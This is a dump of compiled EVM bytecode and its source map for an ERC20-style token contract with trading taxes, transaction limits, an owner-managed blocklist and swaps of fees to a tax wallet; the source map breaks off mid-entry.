3611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90613658565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b906136e6565b60405180910390fd5b5f8111611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad90613774565b60405180910390fd5b5f5f9050611bc2610e44565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c305750611c00610e44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121ae5760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611cd3575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611cdb575f5ffd5b5f600e5403611d2357611d206064611d12600a54600e5411611cff57600654611d03565b6008545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b5f600e541115611d5857611d556064611d47600d548561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e01575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e54575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f4c57600f54821115611e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e95906137dc565b60405180910390fd5b60105482611eab85610b37565b611eb591906137fa565b1115611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed90613877565b60405180910390fd5b611f326064611f24600a54600e5411611f1157600654611f15565b6008545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b9050600e5f815480929190611f4690613895565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611fd457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612018576120156064612007600b54600e5411611ff457600754611ff8565b6009545b8561279390919063ffffffff16565b61280a90919063ffffffff16565b90505b5f61202230610b37565b9050601460159054906101000a900460ff1615801561208d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156120a55750601460169054906101000a900460ff165b80156120b2575060115481115b80156120c15750600c54600e54115b156121ac575f60149054906101000a900460ff1615612101576120e3816124c0565b5f5f60146101000a81548160ff021916908315150217905550612176565b601654431115612113575f6015819055505b600360155410612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90613926565b60405180910390fd5b6121756121708461216b84601254612853565b612853565b6124c0565b5b5f4790505f81111561218c5761218b4761272b565b5b60155f81548092919061219e90613895565b919050555043601681905550505b505b5f8111156122ad576122068160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461286b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122a49190612b20565b60405180910390a35b6122fd8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546128c890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123a061235482846128c890919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461286b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61244384866128c890919063ffffffff16565b6040516124509190612b20565b60405180910390a350505050565b5f8383111582906124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c91906129e2565b60405180910390fd5b505f83856124b39190613944565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156124f7576124f6612b3d565b5b6040519080825280602002602001820160405280156125255781602001602082028036833780820191505090505b50905030815f8151811061253c5761253b6131bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156125e0573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061260491906133a4565b81600181518110612618576126176131bf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061267e3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118d5565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016126e0959493929190613a2e565b5f604051808303815f87803b1580156126f7575f5ffd5b505af1158015612709573d5f5f3e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561278f573d5f5f3e3d5ffd5b5050565b5f5f83036127a3575f9050612804565b5f82846127b0919061317e565b90508284826127bf9190613ab3565b146127ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f690613b53565b60405180910390fd5b809150505b92915050565b5f61284b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612911565b905092915050565b5f8183116128615782612863565b815b905092915050565b5f5f828461287991906137fa565b9050838110156128be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b590613bbb565b60405180910390fd5b8091505092915050565b5f61290983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245e565b905092915050565b5f5f83118290612957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294e91906129e2565b60405180910390fd5b505f83856129659190613ab3565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6129b482612972565b6129be818561297c565b93506129ce81856020860161298c565b6129d78161299a565b840191505092915050565b5f6020820190508181035f8301526129fa81846129aa565b905092915050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612a3c82612a13565b9050919050565b612a4c81612a32565b8114612a56575f5ffd5b50565b5f81359050612a6781612a43565b92915050565b5f819050919050565b612a7f81612a6d565b8114612a89575f5ffd5b50565b5f81359050612a9a81612a76565b92915050565b5f5f60408385031215612ab657612ab5612a0b565b5b5f612ac385828601612a59565b9250506020612ad485828601612a8c565b9150509250929050565b5f8115159050919050565b612af281612ade565b82525050565b5f602082019050612b0b5f830184612ae9565b92915050565b612b1a81612a6d565b82525050565b5f602082019050612b335f830184612b11565b92915050565b5f5ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612b738261299a565b810181811067ffffffffffffffff82111715612b9257612b91612b3d565b5b80604052505050565b5f612ba4612a02565b9050612bb08282612b6a565b919050565b5f67ffffffffffffffff821115612bcf57612bce612b3d565b5b602082029050602081019050919050565b5f5ffd5b5f612bf6612bf184612bb5565b612b9b565b90508083825260208201905060208402830185811115612c1957612c18612be0565b5b835b81811015612c425780612c2e8882612a59565b845260208401935050602081019050612c1b565b5050509392505050565b5f82601f830112612c6057612c5f612b39565b5b8135612c70848260208601612be4565b91505092915050565b5f60208284031215612c8e57612c8d612a0b565b5b5f82013567ffffffffffffffff811115612cab57612caa612a0f565b5b612cb784828501612c4c565b91505092915050565b5f5f5f60608486031215612cd757612cd6612a0b565b5b5f612ce486828701612a59565b9350506020612cf586828701612a59565b9250506040612d0686828701612a8c565b9150509250925092565b5f60ff82169050919050565b612d2581612d10565b82525050565b5f602082019050612d3e5f830184612d1c565b92915050565b5f60208284031215612d5957612d58612a0b565b5b5f612d6684828501612a59565b91505092915050565b612d7881612a32565b82525050565b5f602082019050612d915f830184612d6f565b92915050565b5f5f60408385031215612dad57612dac612a0b565b5b5f612dba85828601612a59565b9250506020612dcb85828601612a59565b9150509250929050565b612dde81612ade565b8114612de8575f5ffd5b50565b5f81359050612df981612dd5565b92915050565b5f60208284031215612e1457612e13612a0b565b5b5f612e2184828501612deb565b91505092915050565b5f60208284031215612e3f57612e3e612a0b565b5b5f612e4c84828501612a8c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e8960208361297c565b9150612e9482612e55565b602082019050919050565b5f6020820190508181035f830152612eb681612e7d565b9050919050565b5f81519050612ecb81612a76565b92915050565b5f60208284031215612ee657612ee5612a0b565b5b5f612ef384828501612ebd565b91505092915050565b7f4e6f204c5020746f6b656e7320746f206275726e0000000000000000000000005f82015250565b5f612f3060148361297c565b9150612f3b82612efc565b602082019050919050565b5f6020820190508181035f830152612f5d81612f24565b9050919050565b5f606082019050612f775f830186612d6f565b612f846020830185612d6f565b612f916040830184612b11565b949350505050565b5f81519050612fa781612dd5565b92915050565b5f60208284031215612fc257612fc1612a0b565b5b5f612fcf84828501612f99565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561305a5780860481111561303657613035612fd8565b5b60018516156130455780820291505b808102905061305385613005565b945061301a565b94509492505050565b5f82613072576001905061312d565b8161307f575f905061312d565b8160018114613095576002811461309f576130ce565b600191505061312d565b60ff8411156130b1576130b0612fd8565b5b8360020a9150848211156130c8576130c7612fd8565b5b5061312d565b5060208310610133831016604e8410600b84101617156131035782820a9050838111156130fe576130fd612fd8565b5b61312d565b6131108484846001613011565b9250905081840481111561312757613126612fd8565b5b81810290505b9392505050565b5f61313e82612a6d565b915061314983612d10565b92506131767fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613063565b905092915050565b5f61318882612a6d565b915061319383612a6d565b92508282026131a181612a6d565b915082820484148315176131b8576131b7612fd8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61321861321361320e846131ec565b6131f5565b612a6d565b9050919050565b613228816131fe565b82525050565b5f6020820190506132415f83018461321f565b92915050565b7f4e6f20746f6b656e7320746f20726573637565000000000000000000000000005f82015250565b5f61327b60138361297c565b915061328682613247565b602082019050919050565b5f6020820190508181035f8301526132a88161326f565b9050919050565b5f6132c96132c46132bf84612a13565b6131f5565b612a13565b9050919050565b5f6132da826132af565b9050919050565b5f6132eb826132d0565b9050919050565b6132fb816132e1565b82525050565b5f6040820190506133145f8301856132f2565b6133216020830184612b11565b9392505050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61335c60178361297c565b915061336782613328565b602082019050919050565b5f6020820190508181035f83015261338981613350565b9050919050565b5f8151905061339e81612a43565b92915050565b5f602082840312156133b9576133b8612a0b565b5b5f6133c684828501613390565b91505092915050565b5f6040820190506133e25f830185612d6f565b6133ef6020830184612d6f565b9392505050565b5f60c0820190506134095f830189612d6f565b6134166020830188612b11565b613423604083018761321f565b613430606083018661321f565b61343d6080830185612d6f565b61344a60a0830184612b11565b979650505050505050565b5f5f5f6060848603121561346c5761346b612a0b565b5b5f61347986828701612ebd565b935050602061348a86828701612ebd565b925050604061349b86828701612ebd565b9150509250925092565b5f6040820190506134b85f830185612d6f565b6134c56020830184612b11565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61352660248361297c565b9150613531826134cc565b604082019050919050565b5f6020820190508181035f8301526135538161351a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6135b460228361297c565b91506135bf8261355a565b604082019050919050565b5f6020820190508181035f8301526135e1816135a8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61364260258361297c565b915061364d826135e8565b604082019050919050565b5f6020820190508181035f83015261366f81613636565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6136d060238361297c565b91506136db82613676565b604082019050919050565b5f6020820190508181035f8301526136fd816136c4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61375e60298361297c565b915061376982613704565b604082019050919050565b5f6020820190508181035f83015261378b81613752565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6137c660198361297c565b91506137d182613792565b602082019050919050565b5f6020820190508181035f8301526137f3816137ba565b9050919050565b5f61380482612a6d565b915061380f83612a6d565b925082820190508082111561382757613826612fd8565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613861601a8361297c565b915061386c8261382d565b602082019050919050565b5f6020820190508181035f83015261388e81613855565b9050919050565b5f61389f82612a6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138d1576138d0612fd8565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61391060178361297c565b915061391b826138dc565b602082019050919050565b5f6020820190508181035f83015261393d81613904565b9050919050565b5f61394e82612a6d565b915061395983612a6d565b925082820390508181111561397157613970612fd8565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6139a981612a32565b82525050565b5f6139ba83836139a0565b60208301905092915050565b5f602082019050919050565b5f6139dc82613977565b6139e68185613981565b93506139f183613991565b805f5b83811015613a21578151613a0888826139af565b9750613a13836139c6565b9250506001810190506139f4565b5085935050505092915050565b5f60a082019050613a415f830188612b11565b613a4e602083018761321f565b8181036040830152613a6081866139d2565b9050613a6f6060830185612d6f565b613a7c6080830184612b11565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613abd82612a6d565b9150613ac883612a6d565b925082613ad857613ad7613a86565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b3d60218361297c565b9150613b4882613ae3565b604082019050919050565b5f6020820190508181035f830152613b6a81613b31565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613ba5601b8361297c565b9150613bb082613b71565b602082019050919050565b5f6020820190508181035f830152613bd281613b99565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209260002e1c67dce8f64ea93b328011b1e868d2b733b781e944d2a0191431b6af64736f6c634300081c0033
Deployed Bytecode Sourcemap
3538:10296:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5588:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6421:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12141:380;;;;;;;;;;;;;:::i;:::-;;4723:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5865:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11031:163;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6590:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5774:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11371;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12798:346;;;;;;;;;;;;;:::i;:::-;;5968:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2619:148;;;;;;;;;;;;;:::i;:::-;;10680:233;;;;;;;;;;;;;:::i;:::-;;4528:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2405:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4591:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5679:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6095:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4656:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13493:334;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11462:671;;;;;;;;;;;;;:::i;:::-;;11202:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6270:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13152:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12535:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13296:187;;;;;;;;;;;;;:::i;:::-;;5588:83;5625:13;5658:5;;;;;;;;;;;;;;;;;5651:12;;5588:83;:::o;6421:161::-;6496:4;6513:39;6522:12;:10;:12::i;:::-;6536:7;6545:6;6513:8;:39::i;:::-;6570:4;6563:11;;6421:161;;;;:::o;12141:380::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12188:19:::1;12210:42;12188:64;;12264:14;12288:13;;;;;;;;;;;12264:38;;12316:22;12341:7;:17;;;12359:12;:10;:12::i;:::-;12341:31;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12316:56;;12409:1;12392:14;:18;12384:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;12448:7;:20;;;12469:12;:10;:12::i;:::-;12483:11;12496:14;12448:63;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12177:344;;;12141:380::o:0;4723:54::-;;;;:::o;5865:95::-;5918:7;4450:1;4508:2;:13;;;;:::i;:::-;4493:12;:28;;;;:::i;:::-;5938:14;;5865:95;:::o;11031:163::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11104:6:::1;11113:1;11104:10;;11099:88;11120:5;:12;11116:1;:16;11099:88;;;11171:4;11154;:14;11159:5;11165:1;11159:8;;;;;;;;:::i;:::-;;;;;;;;11154:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;11134:3;;;;;;;11099:88;;;;11031:163:::0;:::o;6590:313::-;6688:4;6705:36;6715:6;6723:9;6734:6;6705:9;:36::i;:::-;6752:121;6761:6;6769:12;:10;:12::i;:::-;6783:89;6821:6;6783:89;;;;;;;;;;;;;;;;;:11;:19;6795:6;6783:19;;;;;;;;;;;;;;;:33;6803:12;:10;:12::i;:::-;6783:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6752:8;:121::i;:::-;6891:4;6884:11;;6590:313;;;;;:::o;5774:83::-;5815:5;4450:1;5833:16;;5774:83;:::o;11371:::-;11418:4;11439;:7;11444:1;11439:7;;;;;;;;;;;;;;;;;;;;;;;;;11432:14;;11371:83;;;:::o;12798:346::-;12862:10;;;;;;;;;;;12848:24;;:12;:10;:12::i;:::-;:24;;;12840:33;;;;;;12884:20;12905:24;12923:4;12905:9;:24::i;:::-;12884:45;;12956:1;12943:12;:14;12940:73;;;12971:30;12988:12;12971:16;:30::i;:::-;12940:73;13023:18;13042:21;13023:40;;13088:1;13077:10;:12;13074:63;;;13101:24;13114:10;13101:12;:24::i;:::-;13074:63;12829:315;;12798:346::o;5968:119::-;6034:7;6061:9;:18;6071:7;6061:18;;;;;;;;;;;;;;;;6054:25;;5968:119;;;:::o;2619:148::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2726:1:::1;2689:40;;2710:6;;;;;;;;;;;2689:40;;;;;;;;;;;;2757:1;2740:6;;:19;;;;;;;;;;;;;;;;;;2619:148::o:0;10680:233::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4450:1:::1;4508:2;:13;;;;:::i;:::-;4493:12;:28;;;;:::i;:::-;10733:12;:22;;;;4450:1;4508:2;:13;;;;:::i;:::-;4493:12;:28;;;;:::i;:::-;10766:14;:22;;;;10804:27;4450:1;4508:2;:13;;;;:::i;:::-;4493:12;:28;;;;:::i;:::-;10804:27;;;;;;:::i;:::-;;;;;;;;10858:1;10843:12;:16;;;;10875:21;10894:1;10875:21;;;;;;:::i;:::-;;;;;;;;10680:233::o:0;4528:56::-;;;;:::o;2405:79::-;2443:7;2470:6;;;;;;;;;;;2463:13;;2405:79;:::o;4591:58::-;;;;:::o;5679:87::-;5718:13;5751:7;;;;;;;;;;;;;;;;;5744:14;;5679:87;:::o;6095:167::-;6173:4;6190:42;6200:12;:10;:12::i;:::-;6214:9;6225:6;6190:9;:42::i;:::-;6250:4;6243:11;;6095:167;;;;:::o;4656:60::-;;;;:::o;13493:334::-;13588:10;;;;;;;;;;;13572:26;;:12;:10;:12::i;:::-;:26;;;13564:35;;;;;;13610:12;13632;13610:35;;13656:20;13679:5;:15;;;13703:4;13679:30;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13656:53;;13743:1;13728:12;:16;13720:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;13779:5;:14;;;13794:10;;;;;;;;;;;13806:12;13779:40;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13553:274;;13493:334;:::o;11462:671::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11526:11:::1;::::0;::::1;;;;;;;;11525:12;11517:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11612:42;11575:15;;:80;;;;;;;;;;;;;;;;;;11666:58;11683:4;11698:15;;;;;;;;;;;4450:1;4508:2;:13;;;;:::i;:::-;4493:12;:28;;;;:::i;:::-;11666:8;:58::i;:::-;11769:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11751:55;;;11815:4;11822:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11751:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11735:13;;:110;;;;;;;;;;;;;;;;;;11856:15;;;;;;;;;;;:31;;;11895:21;11926:4;11932:24;11950:4;11932:9;:24::i;:::-;11957:1;11959;11961:7;:5;:7::i;:::-;11969:15;11856:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12003:13;;;;;;;;;;;11996:29;;;12034:15;;;;;;;;;;;12052:14;11996:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12092:4;12078:11;;:18;;;;;;;;;;;;;;;;;;12121:4;12107:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11462:671::o:0;11202:161::-;2542:12;:10;:12::i;:::-;2532:22;;:6;;;;;;;;;;;:22;;;2524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11274:6:::1;11283:1;11274:10;;11269:87;11290:6;:13;11286:1;:17;11269:87;;;11341:5;11323:4;:15;11328:6;11335:1;11328:9;;;;;;;;:::i;:::-;;;;;;;;11323:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;11305:3;;;;;;;11269:87;;;;11202:161:::0;:::o;6270:143::-;6351:7;6378:11;:18;6390:5;6378:18;;;;;;;;;;;;;;;:27;6397:7;6378:27;;;;;;;;;;;;;;;;6371:34;;6270:143;;;;:::o;13152:136::-;13233:10;;;;;;;;;;;13219:24;;:12;:10;:12::i;:::-;:24;;;13211:33;;;;;;13269:9;13255:11;;:23;;;;;;;;;;;;;;;;;;13152:136;:::o;12535:218::-;12610:10;;;;;;;;;;;12596:24;;:12;:10;:12::i;:::-;:24;;;12588:33;;;;;;12647:12;;12638:7;:21;;:47;;;;;12672:13;;12663:7;:22;;12638:47;12630:56;;;;;;12708:7;12695:12;:20;;;;12738:7;12724:13;:21;;;;12535:218;:::o;13296:187::-;13360:10;;;;;;;;;;;13346:24;;:12;:10;:12::i;:::-;:24;;;13338:33;;;;;;13382:26;13411:21;13382:50;;13443:32;13456:18;13443:12;:32::i;:::-;13327:156;13296:187::o;160:98::-;213:7;240:10;233:17;;160:98;:::o;6911:335::-;7021:1;7004:19;;:5;:19;;;6996:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7102:1;7083:21;;:7;:21;;;7075:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7184:6;7154:11;:18;7166:5;7154:18;;;;;;;;;;;;;;;:27;7173:7;7154:27;;;;;;;;;;;;;;;:36;;;;7222:7;7206:32;;7215:5;7206:32;;;7231:6;7206:32;;;;;;:::i;:::-;;;;;;;;6911:335;;;:::o;7259:2814::-;7363:1;7347:18;;:4;:18;;;7339:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7440:1;7426:16;;:2;:16;;;7418:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7510:1;7501:6;:10;7493:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7578:17;7598:1;7578:21;;7632:7;:5;:7::i;:::-;7624:15;;:4;:15;;;;:32;;;;;7649:7;:5;:7::i;:::-;7643:13;;:2;:13;;;;7624:32;7620:2072;;;7682:4;:10;7687:4;7682:10;;;;;;;;;;;;;;;;;;;;;;;;;7681:11;:24;;;;;7697:4;:8;7702:2;7697:8;;;;;;;;;;;;;;;;;;;;;;;;;7696:9;7681:24;7673:33;;;;;;7740:1;7727:9;;:14;7723:149;;7774:82;7852:3;7774:73;7798:15;;7786:9;;:27;7785:61;;7832:14;;7785:61;;;7817:12;;7785:61;7774:6;:10;;:73;;;;:::i;:::-;:77;;:82;;;;:::i;:::-;7762:94;;7723:149;7902:1;7890:9;;:13;7886:99;;;7936:33;7965:3;7936:24;7947:12;;7936:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;7924:45;;7886:99;8013:13;;;;;;;;;;;8005:21;;:4;:21;;;:55;;;;;8044:15;;;;;;;;;;;8030:30;;:2;:30;;;;8005:55;:82;;;;;8065:18;:22;8084:2;8065:22;;;;;;;;;;;;;;;;;;;;;;;;;8064:23;8005:82;8001:424;;;8126:12;;8116:6;:22;;8108:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8221:14;;8211:6;8195:13;8205:2;8195:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8187:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8297:82;8375:3;8297:73;8321:15;;8309:9;;:27;8308:61;;8355:14;;8308:61;;;8340:12;;8308:61;8297:6;:10;;:73;;;;:::i;:::-;:77;;:82;;;;:::i;:::-;8285:94;;8398:9;;:11;;;;;;;;;:::i;:::-;;;;;;8001:424;8451:13;;;;;;;;;;;8445:19;;:2;:19;;;:44;;;;;8484:4;8468:21;;:4;:21;;;;8445:44;8441:182;;;8522:85;8603:3;8522:76;8546:16;;8534:9;;:28;8533:64;;8582:15;;8533:64;;;8566:13;;8533:64;8522:6;:10;;:76;;;;:::i;:::